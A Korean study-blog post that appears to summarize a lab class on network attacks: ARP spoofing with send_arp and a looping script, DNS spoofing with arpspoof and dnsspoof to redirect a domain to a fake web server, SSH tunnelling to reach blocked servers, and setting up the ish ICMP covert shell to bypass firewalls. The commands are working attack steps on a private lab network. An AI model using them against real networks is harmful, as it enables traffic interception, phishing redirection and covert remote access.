일일 정리

스푸핑, 터널링과 은닉채널

mysecurity 2025. 4. 14. 23:07

목차

1. 스푸핑

1-1 ARP 스푸핑

1-2 ARP 스푸핑 공격

1-3 DNS 스푸핑

1-4 DNS 스푸핑 공격

 

2. 터널링과 은닉채널

2-1 SSH 터널링

2-2 은닉채널

 

 

1. 스푸핑

1-1 ARP 스푸핑

스푸핑(Spoofing)이란 ‘속이다’라는 의미이다.

IP 주소, 호스트이름, MAC 주소 등 여러가지를 속일 수 있으며, 스푸핑은 이런 속임을 이용한 공격을 총칭한다.

IP를 속이는 경우는 자신을 감출 때 이외에는 없다.

 

● ARP 스푸핑

ARP 스푸핑이란 A와 B 통신 시 공격자 C가 A에게는 자신이 B인척, B에게는 자신이 C인척 공격자의 MAC주소를 전달하여 패킷을 가로채는 것이다. 

공격자가 양 측에 조작된 MAC 주소 전달

 

arp 패킷 자체가 같은 네트워크 상에 돌아다니므로 arp 스푸핑은 같은 네트워크 상의 컴퓨터에게만 가능하다.

스니핑 공격을 위한 선행 공격인 경우가 대부분이다.

 

1-2 ARP 스푸핑 공격

● IP와 MAC주소 확인

arp -a

ip n (ipneigh show)

 

● fake 설치

# apt update

# apt install -y fake

 

fake는 CentOS 5,6(32bit)에서만 제공된다.

 

● ARP 스푸핑 공격

# send_arp [A IP] [공격자 MAC] [B IP] [B MAC]

: B에게 A의 MAC 주소가 공격자의 MAC이라고 알린다. 다른 아무런 MAC 주소를 알려줄 수도 있다.

: send_arp 192.168.11.7  00:0c:29:2e:14:bc  192.168.11.17  00:0C:29:4E:4E:46

 

ARP는 일정 시간마다 갱신되므로 명령은 자동으로 계속 수행되어야 한다.

# vi sarp

#!/bin/sh
while [ : ]
do
 send_arp 192.168.11.7 00:0c:29:2e:14:bc 192.168.11.17 00:0C:29:4E:4E:46
 send_arp 192.168.11.17 00:0c:29:2e:14:bc 192.168.11.7 00:50:56:33:c0:95
done

 

- 여기서 #은 쉘을 지정하는 문법이다.

- 실행 퍼미션을 설정하고 ./sarp 혹은 sh sarp 명령어로 실행한다.

공격받은 11.7의 arp 테이블 화면

 

1-3 DNS 스푸핑

DNS(Domain Name System) 스푸핑은 이름 그대로 도메인 이름을 통한 접속을 조작하는 것으로 호스트가 DNS 서버에 ip를 질의하는 패킷을 가로채 DNS 서버보다 먼저 자신의 조작된 웹페이지의 ip를 호스트에게 전달한다.

DNS 스푸핑

 

이때 ARP 스푸핑이 선행되고 같은 네트워크 상의 패킷만을 가로챌 수 있으므로 호스트가 게이트웨이로 보내는 패킷을 가로챈다.

공격자는 릴레이를 통해 호스트와 DNS 서버 간의 통신은 유지하므로 드물게 DNS 서버의 응답이 먼저 호스트에게 도달하여 공격이 유효하지 않을 수 있다.

 

1-4 DNS 스푸핑 공격

① 위조 웹서버를 192.168.11.17에 설치한다.

# yum install -y httpd
# service httpd start

설정 파일 : /etc/httpd/conf/httpd.conf
서비스 파일 : /var/www/html/

위조 웹서버

 

② winXP 클라이언트(192.168.11.7)에서 www.itclass.co.kr에 접속되는지 확인한다.

정상 www.itclass.co.kr 페이지 화면

 

③ /usr/share/dsniff/dnsspoof.hosts 파일을 공격에 맞게 수정한다.

[IP]   [도메인명] 

ex) 192.168.11.17  http://www.itclass.co.kr 

도메인 명에는 *(와일드카드)로 기술할 수 있다.

 

④ arpspoof를 이용해 클라이언트의 게이트웨이 MAC주소를 공격자의 MAC주소로 변경한다.

# arpspoof -t  192.168.11.7  192.168.11.1

ARP 스푸핑 중 화면

 

⑤ dnsspoof를 이용해 DNS 스푸핑을 시작한다.

# dnsspoof  -i  eth0  -f  /usr/share/dsniff/dnsspoof.hosts

도메인 질의를 가로채면 다음과 같이 내용이 출력된다.

도메인 질의를 가로챈 내용 출력 화면

 

⑥ winXP 클라이언트(192.168.11.7)에서 웹접속을 시도한다.

DNS 스푸핑 완료 화면

 

DNS 정보는 캐시메모리로 남으므로 캐시된 DNS 정보를 지우고 싶다면 다음 명령어를 통해 지울 수 있다.

ipconfig /flushdns

캐시메모리 삭제

 

2. 터널링과 은닉채널

2-1 SSH 터널링

SSH 터널링은 호스트에서 직접적으로 접근이 막힌 서버일지라도 SSH 서버로 우회하여 접근금지 서버에 접근하는 기술이다.

SSH 터널링

 

① SSH 접속 설정 및 접속

Putty의 [Connection] - [SSH] - [Tunnels] 메뉴에서 다음 항목을 설정 후 [add]를 클릭한다.

ssh 터널링 설정

 

반드시 터널링 서버로 이용할 서버 세션에서 작업하며, 설정 이후 해당 터널링 서버에 접속한다.

 

② 브라우저 프록시 서버 설정

호스트의 [제어판] - [네트워크 및 인터넷] - [인터넷 옵션] - [연결] - [LAN 설정]을 다음과 같이 설정한다.

[고급] 을 선택한다.

 

 

이후 [시작] - [설정] - [네트워크 및 인터넷] - [프록시]에서 프록시 설정을 확인한다.

 

이후 호스트에서 다음과 같이 여러 웹사이트에 접속하고 패킷을 확인하여 터널링 연결 상태를 확인할 수 있다.

웹사이트 접속 시 패킷 캡처화면

 

웹사이트 접속 시 터널링 설정 서버에서 호스트에게 패킷이 이동하는 것을 확인할 수 있다.

 

2-2 은닉채널

● ish

ish는 ishd(데몬)와 ish(클라이언트) 프로그램을 이용한 은닉 채널 통신 프로그램으로 접속 로그가 남지 않는다.

ish는 icmp 메시지만을 이용하며 세션이 없으므로 방화벽을 우회할 수 있다.

 

● 설치 방법

① 서버와 클라이언트에 각각 ish를 설치한다.

     http://sourceforge.net/projects/icmpshell/ 에서 구할 수 있다.

 

② 서버와 클라이언트에 동일한 방법으로 다음과 같이 ish를 설치한다.

# tar xvfz ish-v0.2.tar.gz

# cd ISHELL -v0.2/     

# make linux

make linux는 다른 유닉스 운영체제에서도 똑같이 쓸 수 있다는 것을 뜻한다.

 

- 데몬 : ishd

- 클라이언트 : ish

 

Linux 설치 타입에 따라 컴파일러 관련 패키지를 설치해야 하는 경우도 있다.

# yum install -y gcc

# dnf install -y gcc

 

● 실행 방법

- 서버 측 : ishd 실행

# ./ishd

 

- 클라이언트 측 : ish 이용한 서버 접속

# ./ish 192.168.11.17

 

서버 접속 시 데몬을 실행한 계정으로 접속된다.

접속 후 일반적인 터미널과 같은 프롬프트는 보이지 않으나 명령어 실행은 정상 작동한다.

ish 서버 접속 화면

 

명령어 실행 시 icmp 패킷이 서버로 날아가는 것을 다음과 같이 와이어샤크를 통해 확인할 수 있으며, 이때 icmp 패킷의 페이로드에 터미널에서 입력한 명령어가 있음을 확인할 수 있다.

와이어샤크 패킷 캡처

 

보통 icmp 패킷의 페이로드 부분은 읽을 수 없는 쓰레기값이므로 페이로드에 읽을 수 있는 특정 값이 보인다면 정상적이지 않은 상황임을 의심할 수 있다.